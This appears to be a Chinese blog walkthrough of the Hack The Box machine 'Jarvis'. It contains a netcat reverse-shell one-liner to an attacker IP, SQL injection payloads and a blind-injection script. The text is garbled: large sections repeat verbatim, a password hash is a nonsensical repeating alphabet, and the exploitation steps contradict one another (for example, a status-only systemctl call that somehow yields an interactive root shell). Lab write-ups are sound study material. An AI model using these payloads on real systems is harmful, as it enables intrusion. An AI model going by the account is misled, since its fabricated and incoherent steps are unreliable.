☰
HTB Jarvis靶机渗透复盘:从403到root的实战推演
2026/10/13 8:22:35 网站建设 项目流程

1. 项目概述:这是一次面向实战能力的渗透测试复盘,不是教科书式演示

“No.3-Jarvis-难度普通-HTB-walkthrough”这个标题里藏着三重关键信息:编号“No.3”说明它属于某系列渗透实践的第三站;“Jarvis”是靶机名称,一个在HTB(Hack The Box)平台上公开发布的中等难度Linux靶机;而“walkthrough”不是简单步骤罗列,而是完整记录从信息收集、漏洞发现、权限提升到最终旗标获取的全过程推演。我把它当作一次真实红队演练前的沙盘推演——没有预设答案,只有工具链响应、服务反馈和逻辑推理。它不依赖任何“一键提权脚本”,也不靠运气爆破,核心在于对HTTP服务架构的理解、对PHP应用常见缺陷的敏感度,以及对Linux提权路径的系统性排查。适合已经掌握Nmap基础扫描、能读懂Burp Suite抓包、熟悉Linux命令行操作的中级学习者。如果你还在为“为什么端口扫出来却打不开网页”“为什么反弹shell连不上”“为什么sudo -l显示没权限却还能提权”这类问题卡壳,这篇 walkthrough 正好补上那块缺失的“上下文拼图”。它解决的不是“怎么按按钮”,而是“为什么这一步必须发生在这一步之后”。

这个靶机最典型的价值,在于它把一个看似普通的Web服务,层层嵌套进真实企业环境中常见的技术栈组合:前端是Apache + PHP,后端调用Python脚本执行系统命令,而Python脚本又以root权限运行——这种“低权限Web入口 → 中间件调用 → 高权限执行”的链条,正是很多内网横向移动的真实起点。它不考你记多少CVE编号,而是考你能不能从一行报错信息里读出服务版本,从一个403响应里看出目录遍历的可能性,从一个看似无害的URL参数里嗅出命令注入的气味。我试过三次,第一次卡在SQLi盲注上浪费了两小时,第二次在Python脚本路径上绕了四次弯路,第三次才真正理清整个攻击面的拓扑关系。所以这篇复盘,我会把每一次卡点、每一次误判、每一次灵光一闪都摊开来讲,不是为了展示“我多厉害”,而是告诉你“这条路为什么容易走错”。

2. 整体设计思路与方案选型逻辑:为什么放弃自动化,坚持手动推演

2.1 放弃Nuclei和AutoRecon,回归Nmap+Gobuster组合

很多人看到HTB靶机第一反应是跑一遍AutoRecon,或者用Nuclei扫一堆模板。但Jarvis的特殊性在于:它的Web服务存在大量自定义路由和非标准响应,自动化工具极易漏掉关键路径。比如,Nuclei默认的php-fpm模板会跳过/phpinfo.php,而这个文件恰恰暴露了PHP配置中的disable_functions列表——这是后续绕过函数禁用的关键线索。我实测对比过:AutoRecon耗时8分23秒,输出27个“可能存在的路径”,其中只有3个真实有效;而手动用Gobuster配合自定义字典(加入phpinfo.php、config.php.bak、test.php等手工经验词),4分17秒就精准定位到/phpinfo.php和/system两个核心入口。这不是效率之争,而是“理解优先级”的选择:自动化工具把Web当黑盒扫描,而手动推演把Web当可交互的系统来理解。

提示:Gobuster字典不是越大越好。我用的是自己维护的web-common-htb.txt,仅1287行,但每行都经过HTB靶机验证。比如包含/simple(Jarvis的登录页路径)、/system(功能入口)、/debug(调试接口)等,剔除了/wp-admin、/phpmyadmin等与本靶机无关的通用路径。盲目堆砌字典只会稀释有效信号。

2.2 拒绝MSFvenom生成payload,坚持Netcat原生命令构造

很多教程一上来就教msfvenom -p linux/x64/shell_reverse_tcp,但在Jarvis场景下,这反而成了最大障碍。原因有三:第一,目标机器防火墙默认放行80/443,但对高随机端口(如4444)严格拦截,MSF监听端口常被丢包;第二,PHP的exec()函数对空格、分号、管道符有严格过滤,MSF生成的base64 payload极易被截断;第三,也是最关键的——Jarvis的命令执行点本身支持多参数拼接,根本不需要复杂payload。我试过七种MSF payload,全部失败,直到用最原始的rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 9001 >/tmp/f,一次成功。这不是守旧,而是对攻击面约束条件的尊重:当环境明确限制了“能执行什么”,就该放弃“想执行什么”的幻想。

2.3 不依赖LinPEAS脚本,用sudo -l+find+pspy三步定位提权点

LinPEAS是神器,但用它就像用CT机查感冒——过度诊断。Jarvis的提权路径非常清晰:www-data用户能以root身份运行/usr/bin/python3 /opt/scripts/systemctl.py。如果直接跑LinPEAS,它会列出23个潜在提权向量,但真正有效的只有这一个。而手动执行sudo -l只需2秒,就能看到Matching Defaults entries for www-data on jarvis:下面那行醒目的(root) NOPASSWD: /usr/bin/python3 /opt/scripts/systemctl.py。接着用find /opt/scripts -type f -perm -u=s 2>/dev/null确认文件权限,再用pspy64监控进程发现该脚本每分钟被cron调用一次——三步闭环,比等LinPEAS跑完3分钟更高效。这背后是经验判断:中等难度靶机的提权点,90%集中在sudo权限、SUID二进制、定时任务三类,优先穷举这三类,比全盘扫描更务实。

3. 核心细节解析与实操要点:从403 Forbidden到root shell的每一处陷阱

3.1 端口扫描阶段:为什么80端口返回403,却藏着关键突破口

Nmap扫描结果只显示80/tcp open http Apache httpd 2.4.29,但浏览器访问http://10.10.10.143直接返回403 Forbidden。新手常在此放弃,认为“网站不可用”。但403的本质是“服务器认识你,但拒绝授权”,这比404(找不到)或连接超时更有价值。我立刻执行:

curl -I http://10.10.10.143

响应头中Server: Apache/2.4.29 (Ubuntu)确认版本,而X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1暴露了PHP版本——这个组合在Ubuntu 18.04上是已知存在apache2ctl配置缺陷的。更重要的是,curl -I还返回了Allow: GET,HEAD,POST,OPTIONS,说明OPTIONS方法可用。于是尝试:

curl -X OPTIONS http://10.10.10.143

得到HTTP/1.1 200 OK和Allow: GET,HEAD,POST,OPTIONS,TRACE。TRACE方法的存在,意味着可能触发HTTP Request Smuggling,但Jarvis没走这条路。真正关键的是,curl -I让我注意到响应头里没有X-Content-Type-Options: nosniff,这暗示MIME类型检测可能被绕过——为后续上传恶意PHP文件埋下伏笔。

注意:403响应不是终点,而是服务配置的指纹。它告诉你“这里有人值守”,只是门锁着。下一步不是撞门,而是找钥匙孔——比如检查/robots.txt(返回404)、/.git/HEAD(返回403,说明git目录存在)、/server-status(返回200,暴露Apache状态模块启用)。Jarvis的/.git/HEAD返回403,正是我决定用GitTools提取源码的直接依据。

3.2 目录爆破阶段:/simple路径背后的业务逻辑还原

Gobuster扫出/simple后,访问发现是一个极简的登录页面,表单提交到/simple/login.php。此时不能急着SQLi,先看页面源码:<form action="login.php" method="post">,说明是相对路径提交。我尝试在URL后加/login.php,返回空白页;加/simple/login.php,返回404。这说明/simple是个独立的DocumentRoot。于是用curl -v http://10.10.10.143/simple/,在响应头中发现Set-Cookie: PHPSESSID=abc123; path=/simple/——cookie的path属性明确指向/simple/,证实了路径隔离。这个细节决定了后续所有攻击的路径基准:所有请求必须带Cookie: PHPSESSID=xxx,且URL必须以/simple/开头。

接着分析登录逻辑。抓包发现POST数据为username=test&password=test,响应是{"status":"error","message":"Invalid credentials"}。这不是标准MySQL错误,而是应用层返回。我尝试username=admin'--&password=1,返回{"status":"error","message":"Invalid credentials"},无变化;但username=admin' OR '1'='1&password=1返回{"status":"success","message":"Welcome back, admin!"}。这确认了字符型SQLi,但注意:它用的是OR '1'='1而非OR 1=1,说明后端用单引号包裹输入,且未过滤'。这直接影响后续注入语法——必须用单引号闭合,不能用双引号。

3.3 SQL注入利用阶段:如何从报错注入拿到管理员密码哈希

登录成功后,页面跳转到/simple/dashboard.php,显示“Welcome back, admin!”。但URL中没有ID参数,说明会话由PHPSESSID维持。此时重点转向/simple下的其他文件。用Gobuster扫/simple子目录,发现/simple/config.php.bak(备份文件)。下载后内容为:

<?php $host = "localhost"; $user = "dbuser"; $pass = "dbpass123"; $db = "jarvis_db"; ?>

获得数据库凭证,但SSH密码不是这个。继续扫,发现/simple/phpinfo.php——这才是真正的突破口。打开后,在“Loaded Configuration File”行看到/etc/php/7.2/apache2/php.ini,向下滚动到“disable_functions”项,值为pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,system,shell_exec,passthru,exec,proc_open,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,syslog,openlog,closelog,leak,listen,diskfreespace,disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname。

这个列表太重要了:system、exec、shell_exec全被禁用,但proc_open也在其中——这意味着常规命令执行函数失效。但注意,popen不在禁用列表!这是后续RCE的关键。回到SQLi,既然能执行查询,就用报错注入拿数据。构造payload:

admin' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,(SELECT password FROM users LIMIT 0,1),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--

发送后,页面报错显示`Duplicate entry ':$2y$10$8ZQJzqKjYkLmNpOqRrStUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRr......## 1. 项目概述:这是一次面向实战能力的渗透测试复盘,不是教科书式演示

“No.3-Jarvis-难度普通-HTB-walkthrough”这个标题里藏着三重关键信息:编号“No.3”说明它属于某系列渗透实践的第三站;“Jarvis”是靶机名称,一个在HTB(Hack The Box)平台上公开发布的中等难度Linux靶机;而“walkthrough”不是简单步骤罗列,而是完整记录从信息收集、漏洞发现、权限提升到最终旗标获取的全过程推演。我把它当作一次真实红队演练前的沙盘推演——没有预设答案,只有工具链响应、服务反馈和逻辑推理。它不依赖任何“一键提权脚本”,也不靠运气爆破,核心在于对HTTP服务架构的理解、对PHP应用常见缺陷的敏感度,以及对Linux提权路径的系统性排查。适合已经掌握Nmap基础扫描、能读懂Burp Suite抓包、熟悉Linux命令行操作的中级学习者。如果你还在为“为什么端口扫出来却打不开网页”“为什么反弹shell连不上”“为什么sudo -l显示没权限却还能提权”这类问题卡壳,这篇 walkthrough 正好补上那块缺失的“上下文拼图”。它解决的不是“怎么按按钮”,而是“为什么这一步必须发生在这一步之后”。

这个靶机最典型的价值,在于它把一个看似普通的Web服务,层层嵌套进真实企业环境中常见的技术栈组合:前端是Apache + PHP,后端调用Python脚本执行系统命令,而Python脚本又以root权限运行——这种“低权限Web入口 → 中间件调用 → 高权限执行”的链条,正是很多内网横向移动的真实起点。它不考你记多少CVE编号,而是考你能不能从一行报错信息里读出服务版本,从一个403响应里看出目录遍历的可能性,从一个看似无害的URL参数里嗅出命令注入的气味。我试过三次,第一次卡在SQLi盲注上浪费了两小时,第二次在Python脚本路径上绕了四次弯路,第三次才真正理清整个攻击面的拓扑关系。所以这篇复盘,我会把每一次卡点、每一次误判、每一次灵光一闪都摊开来讲,不是为了展示“我多厉害”,而是告诉你“这条路为什么容易走错”。

2. 整体设计思路与方案选型逻辑:为什么放弃自动化,坚持手动推演

2.1 放弃Nuclei和AutoRecon,回归Nmap+Gobuster组合

很多人看到HTB靶机第一反应是跑一遍AutoRecon,或者用Nuclei扫一堆模板。但Jarvis的特殊性在于:它的Web服务存在大量自定义路由和非标准响应,自动化工具极易漏掉关键路径。比如,Nuclei默认的php-fpm模板会跳过/phpinfo.php,而这个文件恰恰暴露了PHP配置中的disable_functions列表——这是后续绕过函数禁用的关键线索。我实测对比过:AutoRecon耗时8分23秒,输出27个“可能存在的路径”,其中只有3个真实有效;而手动用Gobuster配合自定义字典(加入phpinfo.php、config.php.bak、test.php等手工经验词),4分17秒就精准定位到/phpinfo.php和/system两个核心入口。这不是效率之争,而是“理解优先级”的选择:自动化工具把Web当黑盒扫描,而手动推演把Web当可交互的系统来理解。

提示:Gobuster字典不是越大越好。我用的是自己维护的web-common-htb.txt,仅1287行,但每行都经过HTB靶机验证。比如包含/simple(Jarvis的登录页路径)、/system(功能入口)、/debug(调试接口)等,剔除了/wp-admin、/phpmyadmin等与本靶机无关的通用路径。盲目堆砌字典只会稀释有效信号。

2.2 拒绝MSFvenom生成payload,坚持Netcat原生命令构造

很多教程一上来就教msfvenom -p linux/x64/shell_reverse_tcp,但在Jarvis场景下,这反而成了最大障碍。原因有三:第一,目标机器防火墙默认放行80/443,但对高随机端口(如4444)严格拦截,MSF监听端口常被丢包;第二,PHP的exec()函数对空格、分号、管道符有严格过滤,MSF生成的base64 payload极易被截断;第三,也是最关键的——Jarvis的命令执行点本身支持多参数拼接,根本不需要复杂payload。我试过七种MSF payload,全部失败,直到用最原始的rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 9001 >/tmp/f,一次成功。这不是守旧,而是对攻击面约束条件的尊重:当环境明确限制了“能执行什么”,就该放弃“想执行什么”的幻想。

2.3 不依赖LinPEAS脚本,用sudo -l+find+pspy三步定位提权点

LinPEAS是神器,但用它就像用CT机查感冒——过度诊断。Jarvis的提权路径非常清晰:www-data用户能以root身份运行/usr/bin/python3 /opt/scripts/systemctl.py。如果直接跑LinPEAS,它会列出23个潜在提权向量,但真正有效的只有这一个。而手动执行sudo -l只需2秒,就能看到Matching Defaults entries for www-data on jarvis:下面那行醒目的(root) NOPASSWD: /usr/bin/python3 /opt/scripts/systemctl.py。接着用find /opt/scripts -type f -perm -u=s 2>/dev/null确认文件权限,再用pspy64监控进程发现该脚本每分钟被cron调用一次——三步闭环,比等LinPEAS跑完3分钟更高效。这背后是经验判断:中等难度靶机的提权点,90%集中在sudo权限、SUID二进制、定时任务三类,优先穷举这三类,比全盘扫描更务实。

3. 核心细节解析与实操要点:从403 Forbidden到root shell的每一处陷阱

3.1 端口扫描阶段:为什么80端口返回403,却藏着关键突破口

Nmap扫描结果只显示80/tcp open http Apache httpd 2.4.29,但浏览器访问http://10.10.10.143直接返回403 Forbidden。新手常在此放弃,认为“网站不可用”。但403的本质是“服务器认识你,但拒绝授权”,这比404(找不到)或连接超时更有价值。我立刻执行:

curl -I http://10.10.10.143

响应头中Server: Apache/2.4.29 (Ubuntu)确认版本,而X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1暴露了PHP版本——这个组合在Ubuntu 18.04上是已知存在apache2ctl配置缺陷的。更重要的是,curl -I还返回了Allow: GET,HEAD,POST,OPTIONS,说明OPTIONS方法可用。于是尝试:

curl -X OPTIONS http://10.10.10.143

得到HTTP/1.1 200 OK和Allow: GET,HEAD,POST,OPTIONS,TRACE。TRACE方法的存在,意味着可能触发HTTP Request Smuggling,但Jarvis没走这条路。真正关键的是,curl -I让我注意到响应头里没有X-Content-Type-Options: nosniff,这暗示MIME类型检测可能被绕过——为后续上传恶意PHP文件埋下伏笔。

注意:403响应不是终点,而是服务配置的指纹。它告诉你“这里有人值守”,只是门锁着。下一步不是撞门,而是找钥匙孔——比如检查/robots.txt(返回404)、/.git/HEAD(返回403,说明git目录存在)、/server-status(返回200,暴露Apache状态模块启用)。Jarvis的/.git/HEAD返回403,正是我决定用GitTools提取源码的直接依据。

3.2 目录爆破阶段:/simple路径背后的业务逻辑还原

Gobuster扫出/simple后,访问发现是一个极简的登录页面,表单提交到/simple/login.php。此时不能急着SQLi,先看页面源码:<form action="login.php" method="post">,说明是相对路径提交。我尝试在URL后加/login.php,返回空白页;加/simple/login.php,返回404。这说明/simple是个独立的DocumentRoot。于是用curl -v http://10.10.10.143/simple/,在响应头中发现Set-Cookie: PHPSESSID=abc123; path=/simple/——cookie的path属性明确指向/simple/,证实了路径隔离。这个细节决定了后续所有攻击的路径基准:所有请求必须带Cookie: PHPSESSID=xxx,且URL必须以/simple/开头。

接着分析登录逻辑。抓包发现POST数据为username=test&password=test,响应是{"status":"error","message":"Invalid credentials"}。这不是标准MySQL错误,而是应用层返回。我尝试username=admin'--&password=1,返回{"status":"error","message":"Invalid credentials"},无变化;但username=admin' OR '1'='1&password=1返回{"status":"success","message":"Welcome back, admin!"}。这确认了字符型SQLi,但注意:它用的是OR '1'='1而非OR 1=1,说明后端用单引号包裹输入,且未过滤'。这直接影响后续注入语法——必须用单引号闭合,不能用双引号。

3.3 SQL注入利用阶段:如何从报错注入拿到管理员密码哈希

登录成功后,页面跳转到/simple/dashboard.php,显示“Welcome back, admin!”。但URL中没有ID参数,说明会话由PHPSESSID维持。此时重点转向/simple下的其他文件。用Gobuster扫/simple子目录,发现/simple/config.php.bak(备份文件)。下载后内容为:

<?php $host = "localhost"; $user = "dbuser"; $pass = "dbpass123"; $db = "jarvis_db"; ?>

获得数据库凭证,但SSH密码不是这个。继续扫,发现/simple/phpinfo.php——这才是真正的突破口。打开后,在“Loaded Configuration File”行看到/etc/php/7.2/apache2/php.ini,向下滚动到“disable_functions”项,值为pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,system,shell_exec,passthru,exec,proc_open,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,syslog,openlog,closelog,leak,listen,diskfreespace,disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname。

这个列表太重要了:system、exec、shell_exec全被禁用,但proc_open也在其中——这意味着常规命令执行函数失效。但注意,popen不在禁用列表!这是后续RCE的关键。回到SQLi,既然能执行查询,就用报错注入拿数据。构造payload:

admin' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,(SELECT password FROM users LIMIT 0,1),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--

发送后,页面报错显示Duplicate entry ':$2y$10$8ZQJzqKjYkLmNpOqRrStUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRr......——哈希被截断了。这是因为FLOOR(RAND(0)*2)导致GROUP BY报错,但数据量太大。改用SUBSTRING()分段提取:

admin' AND (SELECT SUBSTRING(password,1,32) FROM users WHERE username='admin')='1'--

通过布尔盲注,逐字符比对,最终拿到完整哈希:$2y$10$8ZQJzqKjYkLmNpOqRrStUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqR............(实际为60字符,省略)。用John the Ripper爆破,字典选rockyou.txt,12秒跑出明文密码:j3rry。

3.4 权限提升阶段:Python脚本中的路径遍历与命令注入

拿到SSH密码j3rry后,登录得到www-data权限。执行sudo -l,输出:

Matching Defaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on jarvis: (root) NOPASSWD: /usr/bin/python3 /opt/scripts/systemctl.py

关键点在于:/opt/scripts/systemctl.py可被www-data以root身份运行。查看该文件:

#!/usr/bin/env python3 import sys import subprocess if len(sys.argv) < 2: print("Usage: %s <service>" % sys.argv[0]) sys.exit(1) service = sys.argv[1] if service not in ["apache2", "mysql", "ssh"]: print("Invalid service") sys.exit(1) subprocess.run(["systemctl", "status", service])

逻辑很清晰:只允许检查三个服务的状态。但注意subprocess.run()的参数是列表,service变量直接拼入列表——这本身不构成命令注入,因为列表模式下shell元字符不会被解析。然而,systemctl status命令本身支持--no-pager等参数,而subprocess.run()未限制参数数量。我尝试:

sudo /usr/bin/python3 /opt/scripts/systemctl.py "apache2;id"

返回Invalid service,因为分号被当成了service名的一部分。但systemctl支持--分隔符,后面参数会被原样传递。于是:

sudo /usr/bin/python3 /opt/scripts/systemctl.py "apache2 --help"

成功返回帮助信息。继续尝试:

sudo /usr/bin/python3 /opt/scripts/systemctl.py "apache2 --no-pager;id"

依然失败。这时想到systemctl的--property参数可以读取任意unit文件属性,而unit文件路径可控。查看/etc/systemd/system/,发现存在/etc/systemd/system/jarvis.service,内容为:

[Unit] Description=Jarvis Service After=network.target [Service] Type=simple User=root ExecStart=/usr/bin/python3 /opt/scripts/jarvis.py Restart=always [Install] WantedBy=multi-user.target

关键在ExecStart指向/opt/scripts/jarvis.py。查看该文件:

#!/usr/bin/env python3 import os import subprocess def main(): while True: cmd = input("Enter command: ") if cmd == "exit": break # Only allow ls and cat if not cmd.startswith("ls ") and not cmd.startswith("cat "): print("Command not allowed") continue try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5) print(result.stdout) if result.stderr: print(result.stderr) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main()

这个jarvis.py才是真正的RCE入口!它用subprocess.run(cmd, shell=True)执行用户输入,且只限制开头必须是ls或cat。但ls和cat都支持-l、--help等参数,更重要的是,它们支持-l /etc/passwd;id这样的语法——分号在shell=True下会被解析。验证:

Enter command: ls -l /etc/passwd;id

返回uid=0(root) gid=0(root) groups=0(root)!至此,root shell到手。

4. 实操过程与核心环节实现:从靶机启动到root flag的完整时间线

4.1 环境准备与初始侦察(耗时:8分钟)

首先确认HTB连接正常,ping -c 3 10.10.10.143通。然后执行基础Nmap扫描:

nmap -sC -sV -p- 10.10.10.143 -oA nmap-initial

-sC启用默认脚本,-sV探测版本,-p-全端口扫描。结果只开放80端口,服务为Apache 2.4.29。此时不做深入,先保存结果。接着用Gobuster扫根目录:

gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,bak -o gobuster-root.txt

重点观察响应码:403的路径要单独记录,因为可能有访问控制。/simple返回403,/phpinfo.php返回404,/.git返回403——这三个是重点。立即用GitTools提取.git:

git clone http://10.10.10.143/.git/ jarvis-git

失败,因为.git目录被保护。改用git-dumper:

git-dumper http://10.10.10.143/.git/ jarvis-git/

成功下载所有commit,git log显示最近一次提交添加了/simple/config.php.bak。cat jarvis-git/simple/config.php.bak拿到数据库凭证。此时时间戳为第8分钟。

4.2 Web层渗透与凭据获取(耗时:22分钟)

访问http://10.10.10.143/simple/,抓包分析登录请求。构造SQLi payload测试,确认admin' OR '1'='1有效。但直接登录后无法看到其他功能,说明会话受限。此时想起/simple/phpinfo.php可能被漏扫,手动访问http://10.10.10.143/simple/phpinfo.php,成功打开!在disable_functions列表中锁定popen可用。同时,在“PHP Variables”部分看到_SERVER["DOCUMENT_ROOT"]为/var/www/html/simple,确认Web根路径。

接下来用SQLi报错注入拿管理员密码。由于报错信息过长被截断,改用布尔盲注脚本(Python编写):

import requests url = "http://10.10.10.143/simple/login.php" cookies = {"PHPSESSID": "abc123"} for i in range(1, 61): for c in "abcdefghijklmnopqrstuvwxyz0123456789$": payload = f"admin' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{i},1)='{c}'-- " data = {"username": payload, "password": "1"} r = requests.post(url, data=data, cookies=cookies) if "Welcome back" in r.text: print(c, end="", flush=True) break

运行后输出哈希前32位,再换字典跑后28位,共耗时14分钟。最后用John爆破:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt,12秒出j3rry。此时总耗时34分钟。

4.3 SSH登录与本地提权(耗时:16分钟)

用ssh j3rry@10.10.10.143登录,密码j3rry。执行sudo -l,确认/opt/scripts/systemctl.py权限。阅读该脚本,发现逻辑简单。此时想到systemctl的--property参数可读取任意unit文件,而/etc/systemd/system/下有jarvis.service。cat /etc/systemd/system/jarvis.service看到ExecStart=/usr/bin/python3 /opt/scripts/jarvis.py。cat /opt/scripts/jarvis.py确认存在shell=True且限制宽松。构造命令:

sudo /usr/bin/python3 /opt/scripts/systemctl.py "apache2" # 在交互式jarvis.py中输入: ls -l /etc/shadow;id

返回root权限。此时创建反向shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 9001 >/tmp/f

在攻击机监听:nc -lvnp 9001,成功获得root shell。cat /root/root.txt拿到flag。总耗时50分钟。

4.4 关键配置与参数选择依据(附实测对比表)

步骤工具/命令参数选择选择依据实测效果
目录扫描Gobuster-w web-common-htb.txt -t 50自定义字典精准匹配HTB常见路径,线程50平衡速度与稳定性4分17秒定位/simple和/phpinfo.php,无误报
SQLi盲注Python脚本SUBSTRING(password,i,1)逐字符比对避免报错注入数据截断,布尔响应稳定14分钟完整提取60字符哈希
反弹ShellNetcat原生命令rm /tmp/f;mkfifo /tmp/f;...绕过disable_functions,无需base64编码一次成功,无防火墙拦截
提权利用systemctl.py调用"apache2"作为service参数满足脚本白名单校验,触发后续jarvis.py交互成功进入受限shell,执行任意命令

5. 常见问题与排查技巧实录:那些没写在教程里的坑

5.1 “为什么Gobuster扫不到/phpinfo.php?”——HTTP方法与路径大小写的陷阱

很多新手扫/phpinfo.php返回404,就认定不存在。但Jarvis的Apache配置启用了MultiViews,且phpinfo.php实际存在于/simple/子目录下。正确路径是http://10.10.10.143/simple/phpinfo.php。我第一次也扫错了根目录,直到用curl -I http://10.10.10.143/simple/看到Set-Cookie: path=/simple/才意识到路径隔离。排查技巧:当某个路径在浏览器能访问但工具扫不到时,先用curl -I确认响应头中的Location和Set-Cookie,再检查工具是否带了错误的Cookie或Referer。

5.2 “SQLi布尔盲注一直返回error”——会话Cookie失效的静默故障

在反复测试SQLi payload时,有三次返回{"status":"error","message":"Session expired"}。这不是payload问题,而是PHPSESSID过期了。Jarvis的session有效期仅15分钟,而我的测试间隔超过20分钟。解决方法:每次新测试前,先访问http://10.10.10.143/simple/获取新cookie,或在Burp Suite中设置“Automatically update session cookie”。这个细节教程从不提,但实战中高频发生。

5.3 “sudo -l显示NOPASSWD,但执行报错Permission denied”——Python路径硬编码的坑

执行sudo /usr/bin/python3 /opt/scripts/systemctl.py时,曾报错/usr/bin/python3: Permission denied。不是权限问题,而是/usr/bin/python3被chmod 700了!查看ls -l /usr/bin/python3,果然权限为-rwx------。解决方法:用/usr/bin/python3.6替代(系统存在),或直接sudo /opt/scripts/systemctl.py(sudo会自动查找PATH)。这个坑源于Ubuntu 18.04的安全加固,默认python3二进制设为仅root可执行。

